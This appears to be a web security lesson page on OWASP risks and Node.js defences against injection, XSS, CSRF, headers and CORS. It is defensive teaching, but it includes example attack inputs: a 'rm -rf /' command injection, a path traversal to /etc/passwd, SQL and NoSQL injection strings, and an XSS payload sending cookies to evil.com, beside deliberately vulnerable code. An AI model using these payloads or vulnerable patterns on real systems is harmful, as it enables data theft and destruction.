Skip to content
intermediate Phase 17 · Performance & Security

Web Security Essentials

Protect against XSS, CSRF, SQL injection, implement security headers, and follow OWASP guidelines.

1h 15m
0 problems
Topic Progress 0%

OWASP Top 10 and Injection Prevention

OWASP Top 10 and Injection Prevention

The OWASP Top 10 is the standard awareness document for web application security. It represents a broad consensus about the most critical security risks to web applications. Every developer must understand these vulnerabilities to build resilient systems.

SQL Injection

SQL injection occurs when an attacker inserts malicious SQL code into input fields, manipulating the database query to access, modify, or delete data they should not have access to.

// VULNERABLE: string interpolation
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Attacker input: ' OR '1'='1' --
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1' --'

// SAFE: parameterized queries with PostgreSQL
const { rows } = await db.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);

// SAFE: parameterized queries with MySQL
const [rows] = await pool.execute(
  'SELECT * FROM users WHERE email = ?',
  [email]
);

// SAFE: ORM with parameterized queries
const user = await prisma.user.findUnique({ where: { email } });

NoSQL Injection

NoSQL injection targets databases like MongoDB, CouchDB, or Cassandra. Attackers manipulate query objects to bypass authentication or extract unauthorized data.

// VULNERABLE: direct use of user input in MongoDB query
const user = await User.findOne({ email: req.body.email });
// Attacker sends: { "$gt": "" } as email value
// Resulting query matches ANY document where email exists

// SAFE: validate and sanitize input types
const { email, password } = loginSchema.parse(req.body);
const user = await User.findOne({ email });

// SAFE: sanitize MongoDB operators recursively
function sanitize(obj) {
  if (typeof obj === 'object' && obj !== null) {
    Object.keys(obj).forEach(key => {
      if (key.startsWith('$')) delete obj[key];
      else sanitize(obj[key]);
    });
  }
  return obj;
}

// VULNERABLE: $where with user input
const results = await db.collection('users').find({
  $where: `this.email === '${userInput}'`
});
// NEVER use $where with user-controlled strings

Command Injection

Command injection allows attackers to execute arbitrary operating system commands on the server by injecting shell metacharacters into input fields.

// VULNERABLE: direct shell execution
const { exec } = require('child_process');
exec(`convert ${userInput} output.png`);
// Attacker input: "file.png; rm -rf /"
// Executes: convert file.png; rm -rf / output.png

// SAFE: use execFile with array arguments
const { execFile } = require('child_process');\execFile('convert', [userInput, 'output.png'], (err, stdout) => {
  if (err) console.error(err);
});

// SAFE: validate input with strict regex
if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
  throw new Error('Invalid filename: only alphanumeric and dashes allowed');
}

// SAFE: use spawn with explicit arguments
const { spawn } = require('child_process');
const child = spawn('ffmpeg', ['-i', sanitizedInput, 'output.mp4']);

Path Traversal

Path traversal attacks attempt to access files outside the intended directory by using sequences like ../ or ..%2f to navigate the filesystem.

// VULNERABLE: unsanitized file path
app.get('/files/:name', (req, res) => {
  res.sendFile(path.join('/uploads', req.params.name));
  // Attacker input: ../../../etc/passwd
});

// SAFE: normalize and validate path
const fs = require('fs');
const UPLOAD_DIR = '/uploads';

app.get('/files/:name', (req, res) => {
  const safePath = path.join(UPLOAD_DIR, path.basename(req.params.name));
  const resolved = path.resolve(safePath);
  if (!resolved.startsWith(UPLOAD_DIR)) {
    return res.status(403).json({ error: 'Access denied' });
  }
  res.sendFile(resolved);
});

Cross-Site Scripting (XSS) and CSRF Prevention

Cross-Site Scripting (XSS)

XSS vulnerabilities occur when untrusted data is included in HTML output without proper encoding. Attackers can inject malicious scripts that steal credentials, hijack sessions, or deface websites.

Types of XSS

Reflected XSS: Malicious script is reflected off the server via URL parameters, form submissions, or error messages.

// VULNERABLE: server-side rendering with unescaped input
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
  // Attack URL: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
});

// SAFE: output encoding with proper context
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  };
  return str.replace(/[&<>"']/g, c => map[c]);
}

app.get('/search', (req, res) => {
  const safeQuery = escapeHtml(req.query.q || '');
  res.send(`<h1>Results for: ${safeQuery}</h1>`);
});

Stored XSS: Malicious script is permanently stored on the target server (database, message forum, comment field) and retrieved by other users.

// React auto-escapes JSX content (SAFE)
<p>{userInput}</p>

// DANGEROUS: directly rendering raw HTML
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// SAFE: sanitize with DOMPurify before rendering
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

DOM-based XSS: The vulnerability exists in client-side JavaScript that modifies the DOM based on user input.

// VULNERABLE: reading from URL fragment
const name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// SAFE: use textContent instead of innerHTML
const name = decodeURIComponent(document.location.hash.substring(1));
document.getElementById('greeting').textContent = 'Hello, ' + name;

Content Security Policy (CSP)

CSP is a browser mechanism that restricts which resources can be loaded and executed on a page. It is the primary defense against XSS.

// Express.js CSP configuration with Helmet
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", 'data:', 'https:'],
    fontSrc: ["'self'", 'https://fonts.gstatic.com'],
    connectSrc: ["'self'", 'https://api.example.com'],
    frameAncestors: ["'none'"],
    formAction: ["'self'"],
    upgradeInsecureRequests: []
  }
}));

Cross-Site Request Forgery (CSRF)

CSRF attacks trick authenticated users into performing unwanted actions on a different website where they are logged in. The browser automatically attaches cookies, making the forged request appear legitimate.

CSRF Token Pattern

import csrf from 'csurf';

const csrfProtection = csrf({ cookie: true });
app.use(csrfProtection);

// Generate CSRF token for forms
app.get('/transfer', (req, res) => {
  res.render('transfer', { csrfToken: req.csrfToken() });
});

// Include token in forms
// <form method="POST" action="/transfer">
//   <input type="hidden" name="_csrf" value="{{csrfToken}}">
//   <input type="text" name="amount">
//   <button type="submit">Send</button>
// </form>

SameSite Cookie Attribute

// Modern CSRF prevention with SameSite cookies
res.cookie('sessionId', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',  // or 'lax' for less restrictive
  maxAge: 3600000
});

// For cross-origin API requests, use double-submit cookie pattern
const csrfToken = crypto.randomBytes(32).toString('hex');
res.cookie('XSRF-TOKEN', csrfToken, { sameSite: 'strict' });

// Client-side: include token in custom header
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-XSRF-TOKEN': getCookie('XSRF-TOKEN') },
  body: JSON.stringify(data)
});

Security Headers and CORS Configuration

Security Headers

Security headers are HTTP response headers that browsers use to enhance security by controlling how content is loaded, rendered, and transmitted. Misconfigured headers can lead to clickjacking, MIME sniffing attacks, and credential theft.

Helmet Configuration

import helmet from 'helmet';

// Apply all default security headers
app.use(helmet());

// Content Security Policy - restrict resource loading
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", 'data:', 'https:'],
    fontSrc: ["'self'", 'https://fonts.gstatic.com'],
    connectSrc: ["'self'", 'https://api.example.com'],
    frameAncestors: ["'none'"],
    formAction: ["'self'"],
    baseUri: ["'self'"],
    objectSrc: ["'none'"],
    upgradeInsecureRequests: []
  }
}));

// Strict Transport Security - enforce HTTPS
app.use(helmet.hsts({
  maxAge: 31536000,
  includeSubDomains: true,
  preload: true
}));

// Referrer Policy - control referrer information
app.use(helmet.referrerPolicy({
  policy: 'strict-origin-when-cross-origin'
}));

// X-Content-Type-Options - prevent MIME sniffing
app.use(helmet.noSniff());

// X-Frame-Options - prevent clickjacking
app.use(helmet.frameguard({ action: 'deny' }));

// Remove X-Powered-By header
app.disable('x-powered-by');

Essential Security Headers Summary

Header Purpose Value
Content-Security-Policy Prevents XSS and code injection Restrictive directives
Strict-Transport-Security Enforces HTTPS max-age=31536000
X-Content-Type-Options Prevents MIME sniffing nosniff
X-Frame-Options Prevents clickjacking DENY or SAMEORIGIN
X-XSS-Protection Legacy XSS filter 0 (disable, rely on CSP)
Referrer-Policy Controls referrer leaks strict-origin-when-cross-origin
Permissions-Policy Restricts browser features camera=(), microphone=()

Cross-Origin Resource Sharing (CORS)

CORS is a browser security mechanism that controls how pages from one origin can request resources from a different origin. Properly configuring CORS is critical for API security.

import cors from 'cors';

const allowedOrigins = [
  'https://myapp.com',
  'https://admin.myapp.com'
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl)
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
  exposedHeaders: ['X-Total-Count', 'X-Page-Count'],
  credentials: true,
  maxAge: 86400,
  preflightContinue: false
}));

// Preflight for non-simple requests
app.options('*', cors());

CORS Security Pitfalls

// DANGEROUS: allows any origin
app.use(cors({ origin: true, credentials: true }));

// DANGEROUS: wildcard with credentials
app.use(cors({ origin: '*', credentials: true }));

// SAFE: strict origin allowlist
app.use(cors({
  origin: (origin, cb) => {
    const whitelist = new Set(['https://app.com', 'https://admin.com']);
    cb(null, whitelist.has(origin));
  },
  credentials: true
}));

Security Audit Checklist

[x] Input validation on all endpoints (server-side)
[x] Parameterized queries for all database operations
[x] Output encoding for all user-generated content
[x] Security headers via Helmet (CSP, HSTS, X-Frame-Options)
[x] CORS properly configured with origin allowlist
[x] HTTPS enforced via HSTS
[x] Rate limiting on authentication endpoints
[x] Password hashing with bcrypt (12+ rounds)
[x] Tokens stored in HttpOnly, Secure, SameSite cookies
[x] Secrets in environment variables, not in code
[x] Error messages do not leak internal details
[x] File upload validation (type, size, filename sanitization)
[x] Dependencies scanned with npm audit
[x] SQL injection protection via parameterized queries
[x] XSS prevention via output encoding

Quiz

1. Which attack allows an attacker to inject malicious scripts into web pages viewed by other users?

Question 1 options

2. What is the primary defense against CSRF attacks?

Question 2 options

3. Why should you use parameterized queries instead of string concatenation for database operations?

Question 3 options

Flashcards

Question

What are the three main types of XSS attacks?

Answer

Reflected XSS (via URL parameters), Stored XSS (persistent in database), and DOM-based XSS (client-side JavaScript manipulation). All require output encoding or DOMPurify for prevention.

Question

What HTTP headers should be configured to secure an Express.js application?

Answer

Content-Security-Policy (XSS), Strict-Transport-Security (HTTPS enforcement), X-Content-Type-Options (MIME sniffing), X-Frame-Options (clickjacking), Referrer-Policy (information leakage), and Permissions-Policy (feature restrictions). Use Helmet.js for easy configuration.

Question

How do you prevent SQL injection in Node.js applications?

Answer

Use parameterized queries (db.query with $1, $2 placeholders for PostgreSQL, ? for MySQL), use ORMs like Prisma that auto-parameterize, never concatenate user input into SQL strings, and validate input types at the application layer.

Revision Notes

Key Takeaways

  • 1. OWASP Top 10 is the reference standard for web security — know the categories and their mitigations
  • 2. Always use parameterized queries or ORMs to prevent SQL injection — never concatenate user input into SQL
  • 3. Prevent XSS by encoding output in the correct context and using CSP headers as a second layer of defense
  • 4. CSRF protection requires both tokens and SameSite cookies — do not rely on either alone
  • 5. Security headers (CSP, HSTS, X-Frame-Options) should be configured on every production application
  • 6. Never allow wildcard CORS origins with credentials — always use a strict allowlist

Interview Tips

  • Explain the difference between reflected, stored, and DOM-based XSS with concrete examples
  • Walk through how a CSRF attack works step by step and explain your mitigation strategy
  • Describe how parameterized queries work at the database level to prevent SQL injection
  • List and explain the purpose of at least 5 HTTP security headers
  • Discuss why CORS cannot be used as a security mechanism for authentication
  • Explain the OWASP Top 10 categories and give a real-world example of each

Cheat Sheet

Web Security Cheat Sheet

OWASP Top 10:

  • A01: Broken Access Control — enforce authorization on server
  • A02: Cryptographic Failures — use TLS, hash passwords with bcrypt
  • A03: Injection — parameterized queries, input validation
  • A04: Insecure Design — threat model early
  • A05: Security Misconfiguration — use Helmet, disable defaults
  • A07: XSS — output encoding, CSP headers

SQL Injection Prevention:

  • PostgreSQL: db.query('SELECT * FROM users WHERE id = $1', [id])
  • MySQL: pool.execute('SELECT * FROM users WHERE id = ?', [id])
  • ORM: prisma.user.findUnique({ where: { id } })
  • NEVER: SELECT * FROM users WHERE id = '${id}'

XSS Prevention:

  • Server-side: escapeHtml() before inserting into HTML
  • Client-side: use textContent, not innerHTML
  • React: auto-escapes JSX, sanitize with DOMPurify for dangerouslySetInnerHTML
  • CSP: defaultSrc 'self', scriptSrc 'self'

CSRF Prevention:

  • SameSite cookies: sameSite: 'strict' or 'lax'
  • CSRF tokens: csurf middleware + hidden form field
  • Double-submit: XSRF-TOKEN cookie + X-XSRF-TOKEN header
  • Verify Origin/Referer headers on state-changing endpoints

Security Headers:

  • Helmet: helmet() applies all defaults
  • CSP: helmet.contentSecurityPolicy({ directives: {...} })
  • HSTS: helmet.hsts({ maxAge: 31536000 })
  • X-Frame-Options: DENY or SAMEORIGIN

CORS:

  • Always use an allowlist — never origin: true or '*'
  • Enable credentials only for specific origins
  • Set maxAge to cache preflight responses
  • Restrict methods and headers to what your API needs

Authentication:

  • Passwords: bcrypt with 12+ salt rounds
  • Tokens: HttpOnly, Secure, SameSite cookies
  • Rate limiting: 5 attempts per 15 minutes on login
  • Never store secrets in code or version control